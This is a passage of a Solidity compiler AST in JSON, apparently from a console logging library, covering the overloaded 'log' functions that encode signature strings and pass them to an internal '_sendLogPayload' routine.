p2","nameLocation":"18290:2:15","nodeType":"VariableDeclaration","scope":25753,"src":"18282:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25738,"name":"uint256","nodeType":"ElementaryTypeName","src":"18282:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18251:42:15"},"returnParameters":{"id":25741,"nodeType":"ParameterList","parameters":[],"src":"18308:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25773,"nodeType":"FunctionDefinition","src":"18414:174:15","nodes":[],"body":{"id":25772,"nodeType":"Block","src":"18489:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e6729","id":25765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18539:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fb77226597c11cd0c52945168d7176a06b9af41edea6a51823db111f35573158","typeString":"literal_string \"log(address,string,string)\""},"value":"log(address,string,string)"},{"id":25766,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25755,"src":"18569:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25767,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25757,"src":"18573:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25768,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25759,"src":"18577:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fb77226597c11cd0c52945168d7176a06b9af41edea6a51823db111f35573158","typeString":"literal_string \"log(address,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25763,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18515:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25764,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18519:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18515:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18515:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25762,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"18499:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18499:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25771,"nodeType":"ExpressionStatement","src":"18499:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18423:3:15","parameters":{"id":25760,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25755,"mutability":"mutable","name":"p0","nameLocation":"18435:2:15","nodeType":"VariableDeclaration","scope":25773,"src":"18427:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25754,"name":"address","nodeType":"ElementaryTypeName","src":"18427:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25757,"mutability":"mutable","name":"p1","nameLocation":"18453:2:15","nodeType":"VariableDeclaration","scope":25773,"src":"18439:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25756,"name":"string","nodeType":"ElementaryTypeName","src":"18439:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25759,"mutability":"mutable","name":"p2","nameLocation":"18471:2:15","nodeType":"VariableDeclaration","scope":25773,"src":"18457:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25758,"name":"string","nodeType":"ElementaryTypeName","src":"18457:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18426:48:15"},"returnParameters":{"id":25761,"nodeType":"ParameterList","parameters":[],"src":"18489:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25793,"nodeType":"FunctionDefinition","src":"18594:163:15","nodes":[],"body":{"id":25792,"nodeType":"Block","src":"18660:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c29","id":25785,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18710:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf020fb14f49566c5748de1f455c699a10a4ed1d7cf32f9adb28d22878df1b96","typeString":"literal_string \"log(address,string,bool)\""},"value":"log(address,string,bool)"},{"id":25786,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25775,"src":"18738:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25787,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25777,"src":"18742:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25788,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25779,"src":"18746:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf020fb14f49566c5748de1f455c699a10a4ed1d7cf32f9adb28d22878df1b96","typeString":"literal_string \"log(address,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25783,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18686:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25784,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18690:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18686:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18686:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25782,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"18670:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18670:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25791,"nodeType":"ExpressionStatement","src":"18670:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18603:3:15","parameters":{"id":25780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25775,"mutability":"mutable","name":"p0","nameLocation":"18615:2:15","nodeType":"VariableDeclaration","scope":25793,"src":"18607:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25774,"name":"address","nodeType":"ElementaryTypeName","src":"18607:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25777,"mutability":"mutable","name":"p1","nameLocation":"18633:2:15","nodeType":"VariableDeclaration","scope":25793,"src":"18619:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25776,"name":"string","nodeType":"ElementaryTypeName","src":"18619:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25779,"mutability":"mutable","name":"p2","nameLocation":"18642:2:15","nodeType":"VariableDeclaration","scope":25793,"src":"18637:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25778,"name":"bool","nodeType":"ElementaryTypeName","src":"18637:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"18606:39:15"},"returnParameters":{"id":25781,"nodeType":"ParameterList","parameters":[],"src":"18660:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25813,"nodeType":"FunctionDefinition","src":"18763:169:15","nodes":[],"body":{"id":25812,"nodeType":"Block","src":"18832:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c6164647265737329","id":25805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18882:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f08744e82875525f1ef885a48453f58e96cac98a5d32bd6d8c38e4977aede231","typeString":"literal_string \"log(address,string,address)\""},"value":"log(address,string,address)"},{"id":25806,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25795,"src":"18913:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25807,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25797,"src":"18917:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25808,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25799,"src":"18921:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f08744e82875525f1ef885a48453f58e96cac98a5d32bd6d8c38e4977aede231","typeString":"literal_string \"log(address,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25803,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18858:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25804,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18862:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18858:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18858:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25802,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"18842:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18842:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25811,"nodeType":"ExpressionStatement","src":"18842:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18772:3:15","parameters":{"id":25800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25795,"mutability":"mutable","name":"p0","nameLocation":"18784:2:15","nodeType":"VariableDeclaration","scope":25813,"src":"18776:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25794,"name":"address","nodeType":"ElementaryTypeName","src":"18776:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25797,"mutability":"mutable","name":"p1","nameLocation":"18802:2:15","nodeType":"VariableDeclaration","scope":25813,"src":"18788:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25796,"name":"string","nodeType":"ElementaryTypeName","src":"18788:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25799,"mutability":"mutable","name":"p2","nameLocation":"18814:2:15","nodeType":"VariableDeclaration","scope":25813,"src":"18806:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25798,"name":"address","nodeType":"ElementaryTypeName","src":"18806:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18775:42:15"},"returnParameters":{"id":25801,"nodeType":"ParameterList","parameters":[],"src":"18832:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25833,"nodeType":"FunctionDefinition","src":"18938:158:15","nodes":[],"body":{"id":25832,"nodeType":"Block","src":"18998:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e7432353629","id":25825,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19048:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9c4f99fb8e27f663a71adc9f15ace4bdc959202f3b7faa1c8ca25e5e7e8568f9","typeString":"literal_string \"log(address,bool,uint256)\""},"value":"log(address,bool,uint256)"},{"id":25826,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25815,"src":"19077:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25827,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25817,"src":"19081:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25828,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25819,"src":"19085:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9c4f99fb8e27f663a71adc9f15ace4bdc959202f3b7faa1c8ca25e5e7e8568f9","typeString":"literal_string \"log(address,bool,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25823,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19024:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25824,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19028:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19024:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25829,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19024:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25822,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19008:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25830,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19008:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25831,"nodeType":"ExpressionStatement","src":"19008:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18947:3:15","parameters":{"id":25820,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25815,"mutability":"mutable","name":"p0","nameLocation":"18959:2:15","nodeType":"VariableDeclaration","scope":25833,"src":"18951:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25814,"name":"address","nodeType":"ElementaryTypeName","src":"18951:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25817,"mutability":"mutable","name":"p1","nameLocation":"18968:2:15","nodeType":"VariableDeclaration","scope":25833,"src":"18963:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25816,"name":"bool","nodeType":"ElementaryTypeName","src":"18963:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25819,"mutability":"mutable","name":"p2","nameLocation":"18980:2:15","nodeType":"VariableDeclaration","scope":25833,"src":"18972:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25818,"name":"uint256","nodeType":"ElementaryTypeName","src":"18972:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18950:33:15"},"returnParameters":{"id":25821,"nodeType":"ParameterList","parameters":[],"src":"18998:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25853,"nodeType":"FunctionDefinition","src":"19102:163:15","nodes":[],"body":{"id":25852,"nodeType":"Block","src":"19168:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e6729","id":25845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19218:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_212255cc5ff4a2d867f69451c60f51c24e41784276f4ceffe8ec3af322690750","typeString":"literal_string \"log(address,bool,string)\""},"value":"log(address,bool,string)"},{"id":25846,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25835,"src":"19246:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25847,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25837,"src":"19250:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25848,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25839,"src":"19254:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_212255cc5ff4a2d867f69451c60f51c24e41784276f4ceffe8ec3af322690750","typeString":"literal_string \"log(address,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25843,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19194:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25844,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19198:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19194:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25849,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19194:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25842,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19178:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25850,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19178:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25851,"nodeType":"ExpressionStatement","src":"19178:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19111:3:15","parameters":{"id":25840,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25835,"mutability":"mutable","name":"p0","nameLocation":"19123:2:15","nodeType":"VariableDeclaration","scope":25853,"src":"19115:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25834,"name":"address","nodeType":"ElementaryTypeName","src":"19115:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25837,"mutability":"mutable","name":"p1","nameLocation":"19132:2:15","nodeType":"VariableDeclaration","scope":25853,"src":"19127:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25836,"name":"bool","nodeType":"ElementaryTypeName","src":"19127:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25839,"mutability":"mutable","name":"p2","nameLocation":"19150:2:15","nodeType":"VariableDeclaration","scope":25853,"src":"19136:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25838,"name":"string","nodeType":"ElementaryTypeName","src":"19136:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19114:39:15"},"returnParameters":{"id":25841,"nodeType":"ParameterList","parameters":[],"src":"19168:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25873,"nodeType":"FunctionDefinition","src":"19271:152:15","nodes":[],"body":{"id":25872,"nodeType":"Block","src":"19328:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c29","id":25865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19378:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb830c92a079b46f3abcb83e519f578cffe7387941b6885067265feec096d279","typeString":"literal_string \"log(address,bool,bool)\""},"value":"log(address,bool,bool)"},{"id":25866,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25855,"src":"19404:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25867,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25857,"src":"19408:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25868,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25859,"src":"19412:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb830c92a079b46f3abcb83e519f578cffe7387941b6885067265feec096d279","typeString":"literal_string \"log(address,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25863,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19354:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25864,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19358:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19354:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19354:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25862,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19338:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19338:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25871,"nodeType":"ExpressionStatement","src":"19338:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19280:3:15","parameters":{"id":25860,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25855,"mutability":"mutable","name":"p0","nameLocation":"19292:2:15","nodeType":"VariableDeclaration","scope":25873,"src":"19284:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25854,"name":"address","nodeType":"ElementaryTypeName","src":"19284:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25857,"mutability":"mutable","name":"p1","nameLocation":"19301:2:15","nodeType":"VariableDeclaration","scope":25873,"src":"19296:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25856,"name":"bool","nodeType":"ElementaryTypeName","src":"19296:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25859,"mutability":"mutable","name":"p2","nameLocation":"19310:2:15","nodeType":"VariableDeclaration","scope":25873,"src":"19305:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25858,"name":"bool","nodeType":"ElementaryTypeName","src":"19305:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"19283:30:15"},"returnParameters":{"id":25861,"nodeType":"ParameterList","parameters":[],"src":"19328:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25893,"nodeType":"FunctionDefinition","src":"19429:158:15","nodes":[],"body":{"id":25892,"nodeType":"Block","src":"19489:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c6164647265737329","id":25885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19539:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f11699ed537119f000a51ba9fbd5bb55b3990a1a718acbe99659bd1bc84dc18d","typeString":"literal_string 